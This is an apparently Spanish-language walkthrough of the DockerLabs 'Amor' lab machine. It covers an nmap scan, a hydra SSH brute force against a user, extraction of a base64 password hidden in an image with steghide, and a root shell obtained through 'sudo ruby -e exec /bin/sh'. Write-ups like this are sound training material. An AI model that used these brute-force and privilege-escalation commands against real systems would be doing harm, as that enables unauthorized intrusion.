> For the complete documentation index, see [llms.txt](https://red-shenlong.gitbook.io/red-shenlong/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://red-shenlong.gitbook.io/red-shenlong/dockerlabs/facil/amor.md).

# Amor

## Alternativas

**Formato Video:** *Proximamente...*

**Formato pdf:**

{% @github-files/github-code-block url="<https://github.com/RedShenlong/DockerLabs/blob/4802d984943250a5e31ea4237e304b06e6b1e8ce/Facil/Amor.pdf>" %}

## WriteUp

Una vez desplegada la maquina haremos un escaneo de puertos abiertos con nmap.

En mi casa utilizo el siguiente comando:

```
nmap -p- -sS -sC -sV --min-rate 5000 -n -vvv -Pn 172.17.0.2
```

* **`-p-`**: Escanea todos los puertos .
* **`-sS`**: Realiza un escaneo sigiloso (SYN Scan) para detectar puertos abiertos.
* **`-sC`**: Ejecuta scripts predeterminados para recopilar más información del sistema.
* **`-sV`**: Detecta las versiones de los servicios en ejecución.
* **`--min-rate 5000`**: Acelera el escaneo enviando al menos 5000 paquetes por segundo.
* **`-n`**: No realiza resolución DNS, trabaja directamente con direcciones IP.
* **`-vvv`**: Muestra información detallada y actualizaciones constantes durante el escaneo.
* **`-Pn`**: Salta el "ping" previo y fuerza el escaneo, incluso si el objetivo no responde.

una vez realizado el escaneo vemos que tenemos dos puertos abiertos

<figure><img src="/files/HfNEZXqXnA0bicvCb61w" alt=""><figcaption></figcaption></figure>

El puerto 22 tiene SSH, pero como su versión es alta, nos enfocaremos en el puerto 80, que tiene HTTP. Esto significa que si ponemos la IP en el navegador, nos llevará a una página web.

<figure><img src="/files/p4KAKBlk4ptAitOczuPV" alt=""><figcaption></figcaption></figure>

Nos aparecen dos posibles usuarios, Juan y Carlota así que probaremos un con un ataque de fuerza bruta con hydra para obtener su contraseña

```
hydra -l carlota -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
```

<figure><img src="/files/ermFdjJeawg2rQCtJnVU" alt=""><figcaption></figcaption></figure>

Una vez obtenida, entramos por el puerto ssh con:

```
ssh carlota@172.17.0.2
```

<figure><img src="/files/fQDrrtXS8R5tFCX6XnBq" alt=""><figcaption></figcaption></figure>

Ya dentro, al no ser usuario root, debemos escalar privilegios.

Una forma sencilla es buscar binarios SUID que podamos aprovechar para escalar privilegios con el comando :&#x20;

```
find / -perm -4000 2>/dev/null 
```

o binarios Sudo con `sudo -l`

<figure><img src="/files/eXMyx1I5BqUTkmpFGgTw" alt=""><figcaption></figcaption></figure>

Desafortunadamente no vemos nada que nos pueda ayudar así que navegamos por los directorios en busca de alguna pista

<figure><img src="/files/u7Q6jsZXarHXRhnJSC8D" alt=""><figcaption></figcaption></figure>

Hay una imagen, procedemos a descargarla para ver si tiene algún archivo oculto y buscar en sus metadatos

```
scp carlota@172.17.0.2:/home/carlota/Desktop/fotos/vacaciones/imagen.jpg <aqui pone tu directorio> 
```

<figure><img src="/files/pXrqSZfxNLUlTkeqbfk8" alt=""><figcaption></figcaption></figure>

Para comprobar si tiene archivos ocultos utilizamos la herramienta sthegide:

```
steghide extract -sf imagen.jpg
```

<figure><img src="/files/QdMbfnhSb5PjsquQG2XE" alt=""><figcaption></figcaption></figure>

Efectivamente hay un archivo oculto por lo que haremos un cat para ver su contenido y parece estar dicfrado en base64, para descifrarlo ponemos:

```
echo "ZXNsYWNhc2FkZXBpbnlwb24=" | base64 --decode
```

<figure><img src="/files/PHVQZqHJlthd2pN5Nkrj" alt=""><figcaption></figcaption></figure>

La contraseña es: *`eslacasadepinypon`*

Intento entrar con el usuario root pero la contraseña no pertenece a ese usuario, así que buscaremos usuarios desde el usuario de carlota

<figure><img src="/files/FQ8BSRWzmEoHDq86W9rm" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/UuKDVr7mf194uV8XYV8K" alt=""><figcaption></figcaption></figure>

Oscar es un usuario, intentemos entrar por el puerto ssh con ese usuario

<figure><img src="/files/h7hkWexiYejiPIAoRU2m" alt=""><figcaption></figcaption></figure>

Si ha funcionado, ahora dentro de oscar tenemos que escalar privilegios, busquemos binarios `sudo -l`&#x20;

<figure><img src="/files/KEh2upJcXuC5L8hrQ3Lr" alt=""><figcaption></figcaption></figure>

Encontramos el binario ruby ,para encontrar las vulnerabilidades recomiendo  esta pagina: <https://gtfobins.github.io/>

En nuestro caso  buscamos el binario ruby nos aparece la opción de Sudo

<figure><img src="/files/4Ezw9PzkL1VQXnY45oRw" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/DMLiy1IjmqnGl84txZ0z" alt=""><figcaption></figcaption></figure>

Ahora simplemente copiamos y pegamos el comando:

```
sudo ruby -e 'exec "/bin/sh"' 
```

<figure><img src="/files/vOUWXUrs02g4JuekimGm" alt=""><figcaption></figcaption></figure>

Y ya somos usuario root.
